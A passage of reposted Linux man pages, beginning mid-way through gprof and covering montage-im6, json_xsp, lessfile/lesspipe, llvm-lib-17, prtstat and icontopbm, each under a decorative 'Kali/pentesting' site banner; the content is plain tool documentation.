gprof produces an execution profile of C, Pascal, or Fortran77 programs. The effect of called routines is incorporated in the profile of each caller. The profile data is taken from the call graph profile file (gmon.out default) which is created by programs that are compiled with the -pg option of cc, pc, and f77. The -pg option also links in versions of the library routines that are compiled for profiling. Gprof reads the given object file (the default is a.out) and establishes the relation between its symbol table and the call graph profile from gmon.out. If more than one profile file is specified, the gprof output shows the sum of the profile information in the given profile files.

If you use gcc 2.95.x or 3.0 to compile your binaries, you may need to add the -fprofile-arcs to the compile command line in order for the call graphs to be properly stored in gmon.out.

Gprof calculates the amount of time spent in each routine. Next, these times are propagated along the edges of the call graph. Cycles are discovered, and calls into a cycle are made to share the time of the cycle.

Several forms of output are available from the analysis.

The flat profile shows how much time your program spent in each function, and how many times that function was called. If you simply want to know which functions burn most of the cycles, it is stated concisely here.

The call graph shows, for each function, which functions called it, which other functions it called, and how many times. There is also an estimate of how much time was spent in the subroutines of each function. This can suggest places where you might try to eliminate function calls that use a lot of time.

The annotated source listing is a copy of the program’s source code, labeled with the number of times each line of the program was executed.

OPTIONS

These options specify which of several output formats gprof should produce.

Many of these options take an optional symspec to specify functions to be included or excluded. These options can be specified multiple times, with different symspecs, to include or exclude sets of symbols.

Specifying any of these options overrides the default (-p -q), which prints a flat profile and call graph analysis for all functions.

“-A[symspec]”

“–annotated-source[=symspec]”

The -A option causes gprof to print annotated source code. If symspec is specified, print output only for matching symbols.

“-b”

“–brief”

If the -b option is given, gprof doesn’t print the verbose blurbs that try to explain the meaning of all of the fields in the tables. This is useful if you intend to print out the output, or are tired of seeing the blurbs.

“-B”
The -B option causes gprof to print the call graph analysis.

“-C[symspec]”

“–exec-counts[=symspec]”

The -C option causes gprof to print a tally of functions and the number of times each was called. If symspec is specified, print tally only for matching symbols. If the profile data file contains basic-block count records, specifying the -l option, along with -C, will cause basic-block execution counts to be tallied and displayed.

“-i”

“–file-info”

The -i option causes gprof to display summary information about the profile data file(s) and then exit. The number of histogram, call graph, and basic-block count records is displayed.

“-I dirs”

“–directory-path=dirs”

The -I option specifies a list of search directories in which to find source files. Environment variable GPROF_PATH can also be used to convey this information. Used mostly for annotated source output.

“-J[symspec]”

“–no-annotated-source[=symspec]”

The -J option causes gprof not to print annotated source code. If symspec is specified, gprof prints annotated source, but excludes matching symbols.

“-L”

“–print-path”

Normally, source filenames are printed with the path component suppressed. The -L option causes gprof to print the full pathname of source filenames, which is determined from symbolic debugging information in the image file and is relative to the directory in which the compiler was invoked.

“-p[symspec]”

“–flat-profile[=symspec]”

The -p option causes gprof to print a flat profile. If symspec is specified, print flat profile only for matching symbols.

“-P[symspec]”

“–no-flat-profile[=symspec]”

The -P option causes gprof to suppress printing a flat profile. If symspec is specified, gprof prints a flat profile, but excludes matching symbols.

“-q[symspec]”

“–graph[=symspec]”

The -q option causes gprof to print the call graph analysis. If symspec is specified, print call graph only for matching symbols and their children.

“-Q[symspec]”

“–no-graph[=symspec]”

The -Q option causes gprof to suppress printing the call graph. If symspec is specified, gprof prints a call graph, but excludes matching symbols.

“-t”

“–table-length=num”

The -t option causes the num most active source lines in each source file to be listed when source annotation is enabled. The default is 10.

“-y”

“–separate-files”

This option affects annotated source output only. Normally, gprof prints annotated source files to standard-output. If this option is specified, annotated source for a file named path/filename is generated in the file filename-ann. If the underlying file system would truncate filename-ann so that it overwrites the original filename, gprof generates annotated source in the file filename.ann instead (if the original file name has an extension, that extension is replaced with .ann).

“-Z[symspec]”

“–no-exec-counts[=symspec]”

The -Z option causes gprof not to print a tally of functions and the number of times each was called. If symspec is specified, print tally, but exclude matching symbols.

“-r”

“–function-ordering”

The –function-ordering option causes gprof to print a suggested function ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which support arbitrary ordering of functions in an executable. The exact details of how to force the linker to place functions in a particular order is system dependent and out of the scope of this manual.

“-R map_file”

“–file-ordering map_file”

The –file-ordering option causes gprof to print a suggested .o link line ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which do not support arbitrary ordering of functions in an executable. Use of the -a argument is highly recommended with this option. The map_file argument is a pathname to a file which provides function name to object file mappings. The format of the file is similar to the output of the program nm. c-parse.o:00000000 T yyparse c-parse.o:00000004 C yyerrflag c-lang.o:00000000 T maybe_objc_method_name c-lang.o:00000000 T print_lang_statistics c-lang.o:00000000 T recognize_objc_keyword c-decl.o:00000000 T print_lang_identifier c-decl.o:00000000 T print_lang_type … To create a map_file with GNU nm, type a command like nm --extern-only --defined-only -v --print-file-name program-name.

“-T”

“–traditional”

The -T option causes gprof to print its output in “traditional” BSD style.

“-w width”

“–width=width”

Sets width of output lines to width. Currently only used when printing the function index at the bottom of the call graph.

“-x”

“–all-lines”

This option affects annotated source output only. By default, only the lines at the beginning of a basic-block are annotated. If this option is specified, every line in a basic-block is annotated by repeating the annotation for the first line. This behavior is similar to tcov’s -a.

“–demangle[=style]”

“–no-demangle”

These options control whether C++ symbol names should be demangled when printing output. The default is to demangle symbols. The --no-demangle option may be used to turn off demangling. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

Analysis Options

“-a”

“–no-static”

The -a option causes gprof to suppress the printing of statically declared (private) functions. (These are functions whose names are not listed as global, and which are not visible outside the file/function/block where they were defined.) Time spent in these functions, calls to/from them, etc., will all be attributed to the function that was loaded directly before it in the executable file. This option affects both the flat profile and the call graph.

“-c”

“–static-call-graph”

The -c option causes the call graph of the program to be augmented by a heuristic which examines the text space of the object file and identifies function calls in the binary machine code. Since normal call graph records are only generated when functions are entered, this option identifies children that could have been called, but never were. Calls to functions that were not compiled with profiling enabled are also identified, but only if symbol table entries are present for them. Calls to dynamic library routines are typically not found by this option. Parents or children identified via this heuristic are indicated in the call graph with call counts of 0.

“-D”

“–ignore-non-functions”

The -D option causes gprof to ignore symbols which are not known to be functions. This option will give more accurate profile data on systems where it is supported (Solaris and HPUX for example).

“-k from/to”
The -k option allows you to delete from the call graph any arcs from symbols matching symspec from to those matching symspec to.

“-l”

“–line”

The -l option enables line-by-line profiling, which causes histogram hits to be charged to individual source code lines, instead of functions. This feature only works with programs compiled by older versions of the gcc compiler. Newer versions of gcc are designed to work with the gcov tool instead. If the program was compiled with basic-block counting enabled, this option will also identify how many times each line of code was executed. While line-by-line profiling can help isolate where in a large function a program is spending its time, it also significantly increases the running time of gprof, and magnifies statistical inaccuracies.

“–inline-file-names”
This option causes gprof to print the source file after each symbol in both the flat profile and the call graph. The full path to the file is printed if used with the -L option.

“-m num”

“–min-count=num”

This option affects execution count output only. Symbols that are executed less than num times are suppressed.

“-nsymspec”

“–time=symspec”

The -n option causes gprof, in its call graph analysis, to only propagate times for symbols matching symspec.

“-Nsymspec”

“–no-time=symspec”

The -n option causes gprof, in its call graph analysis, not to propagate times for symbols matching symspec.

“-Sfilename”

“–external-symbol-table=filename”

The -S option causes gprof to read an external symbol table file, such as /proc/kallsyms, rather than read the symbol table from the given object file (the default is a.out). This is useful for profiling kernel modules.

“-z”

“–display-unused-functions”

If you give the -z option, gprof will mention all functions in the flat profile, even those that were never called, and that had no time spent in them. This is useful in conjunction with the -c option for discovering which routines were never called.

Miscellaneous Options

“-d[num]”

“–debug[=num]”

The -d num option specifies debugging options. If num is not specified, enable all debugging.

“-h”

“–help”

The -h option prints command line usage.

“-Oname”

“–file-format=name”

Selects the format of the profile data files. Recognized formats are auto (the default), bsd, 4.4bsd, magic, and prof (not yet supported).

“-s”

“–sum”

The -s option causes gprof to summarize the information in the profile data files it read in, and write out a profile data file called gmon.sum, which contains all the information from the profile data files that gprof read in. The file gmon.sum may be one of the specified input files; the effect of this is to merge the data in the other input files into gmon.sum. Eventually you can run gprof again without -s to analyze the cumulative data in the file gmon.sum.

“-v”

“–version”

The -v flag causes gprof to print the current version number, and then exit.

Deprecated Options

These options have been replaced with newer versions that use symspecs.

“-e function_name”
The -e function option tells gprof to not print information about the function function_name (and its children…) in the call graph. The function will still be listed as a child of any functions that call it, but its index number will be shown as [not printed]. More than one -e option may be given; only one function_name may be indicated with each -e option.

“-E function_name”
The -E function option works like the -e option, but time spent in the function (and children who were not called from anywhere else), will not be used to compute the percentages-of-time for the call graph. More than one -E option may be given; only one function_name may be indicated with each -E option.

“-f function_name”
The -f function option causes gprof to limit the call graph to the function function_name and its children (and their children…). More than one -f option may be given; only one function_name may be indicated with each -f option.

“-F function_name”
The -F function option works like the -f option, but only time spent in the function and its children (and their children…) will be used to determine total-time and percentages-of-time for the call graph. More than one -F option may be given; only one function_name may be indicated with each -F option. The -F option overrides the -E option.

FILES

“a.out”
the namelist and text space.

“gmon.out”
dynamic call graph and profile.

“gmon.sum”
summarized dynamic call graph and profile.

BUGS

The granularity of the sampling is shown, but remains statistical at best. We assume that the time for each execution of a function can be expressed by the total time for the function divided by the number of times the function is called. Thus the time propagated along the call graph arcs to the function’s parents is directly proportional to the number of times that arc is traversed.

Parents that are not themselves profiled will have the time of their profiled children propagated to them, but they will appear to be spontaneously invoked in the call graph listing, and will not have their time propagated further. Similarly, signal catchers, even though profiled, will appear to be spontaneous (although for more obscure reasons). Any profiled children of signal catchers should have their times propagated properly, unless the signal catcher was invoked during the execution of the profiling routine, in which case all is lost.

The profiled program must call exit(2) or return normally for the profiling information to be saved in the gmon.out file.

SEE ALSO

cc (1), prof (1), and the Info entry for gprof.

“An Execution Profiler for Modular Programs”, by S. Graham, P. Kessler, M. McKusick; Software - Practice and Experience, Vol. 13, pp. 671-685, 1983.

“gprof: A Call Graph Execution Profiler”, by S. Graham, P. Kessler, M. McKusick; Proceedings of the SIGPLAN ‘82 Symposium on Compiler Construction, SIGPLAN Notices, Vol. 17, No 6, pp. 120-126, June 1982.

COPYRIGHT

Copyright (c) 1988-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1046 - Linux cli command montage-im6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command montage-im6 and provides detailed information about the command montage-im6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the montage-im6.

NAME 🖥️ montage-im6 🖥️

create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

SYNOPSIS

montage-im6.q16 input-file[s] [options] output-file

OVERVIEW

The montage-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

For more information about the montage command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/montage.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/montage.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -authenticate value decrypt image with this password -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator composite operator -compress type type of pixel compression when writing the image -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -display server query font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -draw string annotate the image with a graphic primitive -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -font name render text with this font -format “string” output formatted image characteristics -gamma value level of gamma correction -geometry geometry preferred tile and border sizes -gravity direction which direction to gravitate towards -green-primary point chromaticity green primary point -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -matte store matte channel if the image has one -mattecolor color frame color -mode type framing style -monitor monitor progress -origin geometry image origin -page geometry size and location of an image canvas (setting) -pointsize value font point size -profile filename add, delete, or apply an image profile -quality value JPEG/MIFF/PNG compression level -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas (operator) -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scenes range image scene range -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -shadow add a shadow beneath a tile to simulate depth -size geometry width and height of image -stroke color color to use when stroking a graphic primitive -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -thumbnail geometry create a thumbnail of the image -tile geometry number of tiles per row and column -title string decorate the montage image with a title -transparent-color color transparent color -treedepth value color tree depth -trim trim image edges -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method -white-point point chromaticity white point

Image Operators: -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -annotate geometry text annotate the image with text -auto-orient automagically orient image -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -crop geometry preferred size and location of the cropped image -extent geometry set the image size -flatten flatten a sequence of images -flip flip image in the vertical direction -flop flop image in the horizontal direction -frame geometry surround image with an ornamental border -layers method optimize or compare image layers -monochrome transform image to black and white -polaroid angle simulate a Polaroid picture -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -scale geometry scale the image -strip strip image of all profiles and comments -transform affine transform image -transpose flip image vertically and rotate 90 degrees -transparent color make this color transparent within the image -type type image type -unsharp geometry sharpen the image

Image Sequence Operators: -coalesce merge a sequence of images -composite composite image

Image Stack Operators: -clone indexes clone an image -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

In addition to those listed above, you can specify these standard X resources as command line options: -background, -bordercolor, -borderwidth, -font, -mattecolor, or -title.

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1047 - Linux cli command json_xsp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command json_xsp and provides detailed information about the command json_xsp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the json_xsp.

NAME 🖥️ json_xsp 🖥️

JSON::XS commandline utility

SYNOPSIS

json_xs [-v] [-f inputformat] [-t outputformat]

DESCRIPTION

json_xs converts between some input and output formats (one of them is JSON).

The default input format is json and the default output format is json-pretty.

OPTIONS

-v
Be slightly more verbose.

-f fromformat
Read a file in the given format from STDIN. fromformat can be one of:

json - a json text encoded, either utf-8, utf16-be/le, utf32-be/le

cbor - CBOR (RFC 7049, CBOR::XS), a kind of binary JSON

storable - a Storable frozen value

storable-file - a Storable file (Storable has two incompatible formats)

bencode - use Convert::Bencode, if available (used by torrent files, among others)

clzf - Compress::LZF format (requires that module to be installed)

eval - evaluate the given code as (non-utf-8) Perl, basically the reverse of “-t dump”

yaml - YAML format (requires that module to be installed)

string - do not attempt to decode the file data

none - nothing is read, creates an “undef” scalar - mainly useful with “-e”

-t toformat

Write the file in the given format to STDOUT. toformat can be one of:

json, json-utf-8 - json, utf-8 encoded

json-pretty - as above, but pretty-printed

json-utf-16le, json-utf-16be - little endian/big endian utf-16

json-utf-32le, json-utf-32be - little endian/big endian utf-32

cbor - CBOR (RFC 7049, CBOR::XS), a kind of binary JSON

cbor-packed - CBOR using extensions to make it smaller

storable - a Storable frozen value in network format

storable-file - a Storable file in network format (Storable has two incompatible formats)

bencode - use Convert::Bencode, if available (used by torrent files, among others)

clzf - Compress::LZF format

yaml - YAML::XS format

dump - Data::Dump

dumper - Data::Dumper

string - writes the data out as if it were a string

none - nothing gets written, mainly useful together with “-e”

Note that Data::Dumper doesn’t handle self-referential data structures correctly - use “dump” instead.

-e code
Evaluate perl code after reading the data and before writing it out again - can be used to filter, create or extract data. The data that has been written is in $_, and whatever is in there is written out afterwards.

EXAMPLES

json_xs -t none <isitreally.json

“JSON Lint” - tries to parse the file isitreally.json as JSON - if it is valid JSON, the command outputs nothing, otherwise it will print an error message and exit with non-zero exit status.

<src.json json_xs >pretty.json

Prettify the JSON file src.json to dst.json.

json_xs -f storable-file <file

Read the serialised Storable file file and print a human-readable JSON version of it to STDOUT.

json_xs -f storable-file -t yaml <file

Same as above, but write YAML instead (not using JSON at all :)

json_xs -f none -e $_ = [1, 2, 3]

Dump the perl array as UTF-8 encoded JSON text.

<torrentfile json_xs -f bencode -e $_ = join " “, map @$_, @{$_->{“announce-list”}} -t string

Print the tracker list inside a torrent file.

lwp-request http://cpantesters.perl.org/show/JSON-XS.json | json_xs

Fetch the cpan-testers result summary JSON::XS and pretty-print it.

AUTHOR

Copyright (C) 2008 Marc Lehmann <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1048 - Linux cli command lessfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lessfile and provides detailed information about the command lessfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lessfile.

NAME 🖥️ lessfile 🖥️

“input preprocessor” for less.

SYNOPSIS

lessfile, lesspipe

DESCRIPTION

This manual page documents briefly the lessfile, and lesspipe commands. This manual page was written for the Debian GNU/Linux distribution because the input preprocessor scripts are provided by Debian GNU/Linux and are not part of the original program.

lessfile and lesspipe are programs that can be used to modify the way the contents of a file are displayed in less. What this means is that less can automatically open up tar files, uncompress gzipped files, and even display something reasonable for graphics files.

lesspipe will toss the contents/info on STDOUT and less will read them as they come across. This means that you do not have to wait for the decoding to finish before less shows you the file. This also means that you will get a ‘byte N’ instead of an N% as your file position. You can seek to the end and back to get the N% but that means you have to wait for the pipe to finish.

lessfile will toss the contents/info on a file which less will then read. After you are done, lessfile will then delete the file. This means that the process has to finish before you see it, but you get nice percentages (N%) up front.

USAGE

Just put one of the following two commands in your login script (e.g. ~/.bash_profile):

eval “$(lessfile)”

or

eval “$(lesspipe)”

FILE TYPE RECOGNITION

File types are recognized by their extensions. This is a list of currently supported extensions (grouped by the programs that handle them):

*.a *.arj *.tar.bz2 *.bz *.bz2 *.deb, *.udeb, *.ddeb *.doc *.egg *.gif, *.jpeg, *.jpg, *.pcd, *.png, *.tga, *.tiff, *.tif *.iso, *.raw, *.bin *.lha, *.lzh *.tar.lz, *.tlz *.lz *.7z *.pdf *.rar, *.r[0-9][0-9] *.rpm *.tar.gz, *.tgz, *.tar.z, *.tar.dz *.gz, *.z, *.dz *.tar *.tar.xz, *.xz *.whl *.jar, *.war, *.xpi, *.zip *.zoo *.tar.zst, *.tzst *.zst

USER DEFINED FILTERS

It is possible to extend and overwrite the default lesspipe and lessfile input processor if you have specialized requirements. Create an executable program with the name .lessfilter and put it into your home directory. This can be a shell script or a binary program.

It is important that this program returns the correct exit code: return 0 if your filter handles the input, return 1 if the standard lesspipe/lessfile filter should handle the input.

Here is an example script:

#!/bin/sh

case “$1” in *.extension) extension-handler “$1” ;; *) # We don’t handle this format. exit 1 esac

# No further processing by lesspipe necessary exit 0

FILES

~/.lessfilter
Executable file that can do user defined processing. See section USER DEFINED FILTERS for more information.

BUGS

Sometimes, less does not display the contents file you want to view but output that is produced by your login scripts (~/.bashrc or ~/.bash_profile). This happens because less uses your current shell to run the lesspipe filter. Bash first looks for the variable $BASH_ENV in the environment expands its value and uses the expanded value as the name of a file to read and execute. If this file produces any output less will display this. A way to solve this problem is to put the following lines on the top of your login script that produces output:

if [ -z “$PS1” ]; then exit fi

This tests whether the prompt variable $PS1 is set and if it isn’t (which is the case for non-interactive shells) it will exit the script.

SEE ALSO

less(1)

AUTHOR

This manual page was written by Thomas Schoepf <[email protected]>, for the Debian GNU/Linux system (but may be used by others). Most of the text was copied from a description written by Darren Stalder <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1049 - Linux cli command llvm-lib-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-lib-17 and provides detailed information about the command llvm-lib-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-lib-17.

NAME 🖥️ llvm-lib-17 🖥️

lib - LLVM lib.exe compatible library tool

SYNOPSIS

llvm-lib [/libpath:<path>] [/out:<output>] [/llvmlibthin] [/ignore] [/machine] [/nologo] [files…]

DESCRIPTION

The llvm-lib command is intended to be a lib.exe compatible tool. See https://msdn.microsoft.com/en-us/library/7ykb2k5f for the general description.

llvm-lib has the following extensions:

  • Bitcode files in symbol tables. llvm-lib includes symbols from both bitcode files and regular object files in the symbol table.

  • Creating thin archives. The /llvmlibthin option causes llvm-lib to create thin archive that contain only the symbol table and the header for the various members. These files are much smaller, but are not compatible with link.exe (lld can handle them).

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1050 - Linux cli command prtstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prtstat and provides detailed information about the command prtstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prtstat.

NAME 🖥️ prtstat 🖥️

print statistics of a process

SYNOPSIS

prtstat [-r|–raw] pid
prtstat -V|–version

DESCRIPTION

prtstat prints the statistics of the specified process. This information comes from the /proc/pid/stat file.

OPTIONS

-r,** –raw**
Print the information in raw format.

-V,** –version**
Show the version information for prtstat.

FILES

/proc/pid/stat
source of the information prtstat uses.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1051 - Linux cli command icontopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command icontopbm and provides detailed information about the command icontopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the icontopbm.

.

NAME 🖥️ icontopbm 🖥️

replaced by sunicontopnm

SYNOPSIS

icontopbm [iconfile]

DESCRIPTION

This program is part of Netpbm(1) .

icontopbm was obsoleted by sunicontopnm(1) , introduced with Netpbm 10.53 (December 2010). sunicontopnm is backward compatible with icontopbm, plus adds additional functions, including the ability to convert a Depth=8 Sun icon, producing a PGM image.

Starting in Release 10.53, icontopbm is just an alias for sunicontopnm.

The point of the name change is that there are many kinds of icons in the world besides Sun icons, and in 2010, the Sun variety isn’t even common.

In releases before 10.53, you can use the sunicontopnm documentation for icontopbm, as long as you recognize that any change the sunicontopnm manual says happened in or after Netpbm 10.53 doesn’t apply to icontopbm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/icontopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

